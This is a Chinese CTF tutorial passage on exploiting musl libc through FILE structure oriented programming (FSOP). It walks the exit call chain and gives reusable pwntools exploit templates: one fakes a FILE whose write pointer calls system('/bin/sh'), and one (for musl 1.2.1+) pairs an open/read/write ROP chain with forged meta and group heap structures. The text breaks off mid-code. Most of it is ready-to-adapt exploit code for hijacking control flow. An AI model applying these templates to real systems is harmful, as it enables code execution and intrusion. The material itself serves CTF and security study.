debug musl( 九 )


由于相关基址已经泄露,可以通过堆风水 uaf 伪造 node 节点实现任意地址读和伪造相关结构 。
结构体
musl 中的结构体定义如下:
struct _IO_FILE {unsigned flags;unsigned char *rpos, *rend;int (*close)(FILE *);unsigned char *wend, *wpos;unsigned char *mustbezero_1;unsigned char *wbase;size_t (*read)(FILE *, unsigned char *, size_t);size_t (*write)(FILE *, const unsigned char *, size_t);off_t (*seek)(FILE *, off_t, int);unsigned char *buf;size_t buf_size;FILE *prev, *next;int fd;int pipe_pid;long lockcount;int mode;volatile int lock;int lbf;void *cookie;off_t off;char *getln_buf;void *mustbezero_2;unsigned char *shend;off_t shlim, shcnt;FILE *prev_locked, *next_locked;struct __locale_struct *locale;};
其中有 4 个函数指针 close 、read 、write 、seek。在解题时,标准输入输出的三个FILE结构体:stdin、、是我们利用的重点 。
FSOP exit 调用链
分析 exit 函数的调用链,发现最终会调用
FILE *volatile __stdin_used = &__stdin_FILE;FILE *volatile __stdout_used = &__stdout_FILE;FILE *volatile __stderr_used = &__stderr_FILE;_Noreturn void exit(int code) {__funcs_on_exit();__libc_exit_fini();__stdio_exit();_Exit(code);}void __stdio_exit(void) {FILE *f;for (f = *__ofl_lock(); f; f = f->next) close_file(f);close_file(__stdin_used);close_file(__stdout_used);close_file(__stderr_used);}static void close_file(FILE *f) {if (!f) return;FFINALLOCK(f);if (f->wpos != f->wbase) f->write(f, 0, 0);if (f->rpos != f->rend) f->seek(f, f->rpos - f->rend, SEEK_CUR);}
可以看到中可能会调用三个 FILE 的 write 和 seek 函数指针 。我们要修改的也正是这两个指针 。在没有沙箱的情况下,只需要将 FILE 结构体开头的几个字节修改为 /bin/sh ,再修改 write 指针的值为,以及修改 f->wpos 、f->wbase 中其中之一就可以调用到 ("/bin/sh")。
总结来说,就是在无沙箱时,需要修改结构体的几个地方:
常用模板如下:
fake_file = ""fake_file += "/bin/sh".ljust(8, '\x00')# flagsfake_file += p64(0)# rposfake_file += p64(0)# rendfake_file += p64(0)# closefake_file += p64(0)# wendfake_file += p64(0x114514)# wposfake_file += p64(0)# mustbezero_1fake_file += p64(0x1919810)# wbasefake_file += p64(0)# readfake_file += p64(libc.sym['system'])# writefake_file = fake_file.ljust(0x90, '\x00')# lock = 0
对于 musl-1.2.1 及以上版本,结合相关结构的伪造,模板如下(2022强网杯):
payload_addr = libc.address - 0x6fe0fake_file_addr = payload_addrfake_group_addr = fake_file_addr + 0x90fake_chunk_addr = fake_group_addr + 0x10fake_meta_area_offset = ((payload_addr + 0xFFF) & ~0xFFF) - payload_addrfake_meta_offset = fake_meta_area_offset + 8fake_meta_addr = payload_addr + fake_meta_offsetstderr_used_addr = libc.address + 0xb43a0rop_addr = fake_chunk_addr + 0x20magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]'), executable=True).next()pop_rdi_ret = libc.search(asm("pop rdi;ret"), executable=True).next()pop_rsi_ret = libc.search(asm("pop rsi;ret"), executable=True).next()pop_rdx_ret = libc.search(asm("pop rdx;ret"), executable=True).next()pop_rax_ret = libc.search(asm("pop rax;ret"), executable=True).next()ret = libc.search(asm("ret"), executable=True).next()buf_addr = payload_addrrop = ''rop += p64(pop_rdi_ret)rop += p64(buf_addr)rop += p64(pop_rsi_ret)rop += p64(0)rop += p64(libc.sym['open'])rop += p64(pop_rdi_ret)rop += p64(3)rop += p64(pop_rsi_ret)rop += p64(buf_addr)rop += p64(pop_rdx_ret)rop += p64(0x100)rop += p64(libc.sym['read'])rop += p64(pop_rdi_ret)rop += p64(1)rop += p64(pop_rsi_ret)rop += p64(buf_addr)rop += p64(pop_rdx_ret)rop += p64(0x100)rop += p64(libc.sym['write'])fake_file = ""fake_file += "./flag".ljust(8, '\x00')# flagsfake_file += p64(0)# rposfake_file += p64(0)# rendfake_file += p64(0)# closefake_file += p64(0)# wendfake_file += p64(0)# wposfake_file += p64(rop_addr)# mustbezero_1fake_file += p64(ret)# wbasefake_file += p64(0)# readfake_file += p64(magic_gadget)# writefake_file = fake_file.ljust(0x90, '\x00')# lock = 0fake_group = p64(fake_meta_addr) + p64(0)fake_meta = ''fake_meta += p64(fake_file_addr)# prevfake_meta += p64(stderr_used_addr)# nextfake_meta += p64(fake_group_addr)# memfake_meta += p32(0b0000)# avail_maskfake_meta += p32(0b1110)# freed_masklast_idx = 3freeable = 1sizeclass = 1maplen = 0fake_meta += p64(last_idx | (freeable